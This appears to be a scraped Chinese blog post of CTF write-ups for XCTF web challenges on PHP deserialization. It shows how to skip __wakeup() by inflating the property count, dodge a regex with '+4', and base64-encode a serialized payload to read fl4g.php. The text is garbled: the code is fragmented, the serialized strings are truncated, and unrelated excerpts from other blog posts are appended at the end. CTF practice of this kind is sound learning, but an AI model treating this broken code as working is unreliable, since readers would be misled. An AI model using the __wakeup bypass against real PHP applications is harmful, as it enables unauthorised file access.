unserialize3題目鏈結
class
xctf
?code=
原理:
php反序列化漏洞:執行unserialize()時,先會呼叫__wakeup()。
當序列化字串中屬性值個數大於屬性個數,就會導致反序列化異常,從而跳過__wakeup()。
本題_wakeup會執行exit(),所以要繞過
<?php
class
xctf
}var_dump
(serialize
(new
xctf()
));//string(36) "o:4:"xctf":1:"
?>
將屬性值個數改為大於1的數來繞過_wakeup
nannannannan-batman題目鏈結
function $()"
];var n =
["a"
,"_h0l"
,"n"];
var r =["g
}}
直接把指令碼放在console裡面執行完成
web_php_unserialize題目鏈結
<?php
class
demo
function
__destruct()
function
__wakeup()
}}if(
isset
($_get
['var'])
)else
}else
?>
原理:進行**審計,發現為反序列,如果乙個類定義了wakup()和destruct(),則該類的例項被反序列化時,會自動呼叫wakeup(), 生命週期結束時,則呼叫desturct()。
主要是三部分內容
1.最後需要用base64編碼
2.需要繞過_wakeup函式
3.需要繞過正規表示式
先serialize(new demo(『fl4g.php』))
得到string(48) 「o:4:「demo」:1:」
繞過_wakeup把1換成2,繞過正規表示式把4換成+4,最後轉base64編碼
$a
=new
demo
('fl4g.php');
$b=serialize($a
);$b=
str_replace
('o:4'
,'o:+4',$b
);$b=
str_replace
('1:{'
,'2:{',$b
);echo
base64_encode($b
);?>
這裡因為file被private修飾,所以類名前後各有乙個空白字元,直接複製無法複製,會出現錯誤,所以直接在指令碼裡面搞
php序列化和反序列化
還有兩道題,不過沒什麼新知識點就沒法,今天主要學到了php序列化和反序列化,以及正規表示式相關知識,也學到了不少函式。
CTF的第一天
激動的心,顫抖的手,我要開始寫部落格了,哈哈哈。之前一直在部落格上主要是學習學長學姐寫的關於acm的文章,今天為了做ctf的筆記第一次開始學習寫部落格。ctf capture the flag 中文一般譯作奪旗賽,在網路安全領域中指的是網路全技術人員之間進行技術競技的一種比賽形式。ctf起源於199...
演算法練習 第一天
求1 1!1 3!1 5!1 7!1 n 1 2n 1 下面的演算法時間複雜度為o n 2 public class leijia leicheng sum sum sign a system.out.println sign a system.out.println 結果是 sum 求1 1!1 ...
python第一天練習
1.有四個數字 1 2 3 4,能組成多少個互不相同且無重複數字的三位數?各是多少?for i in range 1,5 for j in range 1,5 for k in range 1,5 if i k and i j and j k print i,j,k 2.利用條件運算子的巢狀來完成此...